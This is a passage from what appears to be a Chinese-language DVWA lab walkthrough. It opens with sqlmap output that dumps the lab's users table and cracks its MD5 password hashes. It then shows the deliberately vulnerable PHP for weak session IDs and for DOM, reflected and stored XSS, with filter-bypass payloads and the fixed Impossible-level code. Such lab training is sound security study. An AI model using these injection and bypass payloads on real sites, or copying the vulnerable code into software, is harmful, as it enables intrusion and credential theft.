[21:55:58] [INFO] resumed: e99a18c428cb38d5f260853678922e03
[21:55:58] [INFO] resumed: 2
[21:55:58] [INFO] resumed: pablo
[21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg
[21:55:58] [INFO] resumed: 0
[21:55:58] [INFO] resumed: Pablo
[21:55:58] [INFO] resumed: 2018-03-08 22:33:32
[21:55:58] [INFO] resumed: Picasso
[21:55:58] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7
[21:55:58] [INFO] resumed: 4
[21:55:58] [INFO] resumed: smithy
[21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg
[21:55:58] [INFO] resumed: 0
[21:55:58] [INFO] resumed: Bob
[21:55:58] [INFO] resumed: 2018-03-08 22:33:32
[21:55:58] [INFO] resumed: Smith
[21:55:58] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99
[21:55:58] [INFO] resumed: 5
[21:55:58] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[21:56:00] [INFO] using hash method 'md5_generic_passwd'
[21:56:00] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[21:56:00] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[21:56:00] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[21:56:00] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[21:56:00] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
Database: dvwa
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[21:56:00] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
[21:56:00] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times
[21:56:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 21:56:00

9.4 Impossible

代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

1.PDO技术防止sql注入;
2.验证token防止csrf攻击;
3.查询结果为一才输出结果,防止拖库。

10. Weak Session IDs

会话标识的生成。

10.1 Low

代码:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;  #简单的+1。
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?> 

10.2 Medium

代码:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);  #用时间作为session。
}
?> 

10.3 High

代码:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
    #setcookie(name,value,expire,path,domain,secure),将session+1再md5编码之后设置为session,还设置了有效期为一个小时。
}

?> 

10.4 Impossible

代码:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
    #哈希sha1(mt_rand() . time() . "Impossible")作为session。
} 
?> 

11. DOM Based Cross Site Scripting (XSS)

跨站脚本攻击指的是攻击者通过注入,将恶意脚本插入到网页中或者存储到了web服务器中,从而使用户在点击网页时触发XSS攻击,达到cookie,token被盗取,密码被修改等目的。
DOM型XSS是一种特殊的反射型XSS,修改页面DOM节点形成的XSS。

11.1 Low

代码:

<?php

# No protections, anything goes

?> 

没有任何过滤,url:http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script>

sdf.png-108.5kBsdf.png-108.5kB

11.2 Medium

代码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {  
    #stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
        header ("location: ?default=English");
        exit;
    }
}

?> 

对url的default参数进行了过滤<script>,且stripos不区分大小写,不能用大小写混合绕过,使用其他标签:http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(1)>首先突破select block ,再使用<img src=1 onerror=alert(1)>

k;.png-150.2kBk;.png-150.2kB

11.3 High

代码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

default参数设置了白名单,添加#,#后面的部分不会发送到web服务器中:http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

agsd.png-115.9kBagsd.png-115.9kB

11.4 Impossible

代码:

<?php

# Don't need to do anything, protction handled on the client side

?> 

12. Reflected Cross Site Scripting (XSS)

反射型XSS,只是简单的把用户输入的数据反射给浏览器,往往需要用户点击一个链接才能触发XSS攻击。

12.1 Low

代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

get方法对输入的name参数没有进行任何过滤,在输入框输入<script>alert(1)</script>,
url:http://192.168.0.115/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E#

gre.png-148.3kBgre.png-148.3kB

12.2 Medium

代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); #将<script>替换为''。

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
用str_replace将<script>替换为'',采用双写可以绕过,或者大写绕过。
双写绕过:<sc<script>ript>alert(1)</script>
大写绕过:<Script>alert(1)</script>

12.3 High

代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
  1. 正则表达式中i模式是对大小写不敏感,因此不能用大小写混合来绕过;
  2. 正则表达式<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t,在各个字符之间也有(.*)匹配,不能用双写绕过;
  3. 既然不能用<script>标签注入XSS代码,可以用其他标签如:<img src=1 onerror=alert(1)>,表示如果src错误,则执行alert(1)
    jfd.png-176.1kBjfd.png-176.1kB

12.4 Impossible

代码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] ); #把预定义的字符&、”、 ’、<、>转换为HTML实体

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
输入什么就输出什么: Screenshot-2018-3-15 Vulnerability Reflected Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Develo[...].png-33.1kBScreenshot-2018-3-15 Vulnerability Reflected Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Develo[...].png-33.1kB

加入了token验证防止csrf攻击;
htmlspecialchars函数将<,>转换为HTML实体,防止浏览器将其作为HTML元素。

13. Stored Cross Site Scripting (XSS)

存储型跨站脚本,将恶意的脚本注入到web服务器中,通常是通过留言板来注入,当其他用户访问此页面时,就会执行注入的脚本,触发XSS攻击,可以盗取cookie,token等。

13.1 Low

代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );  
    #trim函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message ); #删除反斜杠:\
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

stripslashes: 删除反斜杠\,但是使用<script>alert(1)</script>有效。

Screenshot-2018-3-15 Vulnerability Stored Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Developme[...].png-44.1kBScreenshot-2018-3-15 Vulnerability Stored Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Developme[...].png-44.1kB rti.png-177.3kBrti.png-177.3kB

Name那一栏有字数限制,可以通过Burpsuite来修改name的值,也同样存在XSS漏洞。

13.2 Medium

代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) ); 
    #strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。
    #addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
    #htmlspecialchars函数将<,>转换为HTML实体,防止浏览器将其作为HTML元素。

    // Sanitize name input
    $name = str_replace( '<script>', '', $name ); #对name参数进行了<script>g
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

由于对message参数进行了htmlspecialchars,防止了XSS攻击,但是还有一个name参数,只对<script>进行了简单的过滤,可以通过Burpsuite修改:<Script>alert(1)</script>

afghsf.png-103.7kBafghsf.png-103.7kB
写入成功,再次刷新页面,弹窗,说明触发了XSS。

13.3 High

代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
    #htmlspecialchars函数将<,>转换为HTML实体,防止浏览器将其作为HTML元素。

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); #过滤,防止大小写和双写绕过
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

同样,message使用了htmlspecialchars函数,防止XSS。
name参数可以使用除<script>的其他标签绕过。

sghd.png-97.8kBsghd.png-97.8kB
成功写入,刷新页面触发XSS。

13.4 Impossible

代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );  #删除反斜杠:\
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  1. 验证token防止CSRF攻击;
  2. PDO技术,防止SQL注入;
  3. 对参数message和name都使用了 htmlspecialchars函数,防止XSS攻击。
上一篇下一篇

猜你喜欢

热点阅读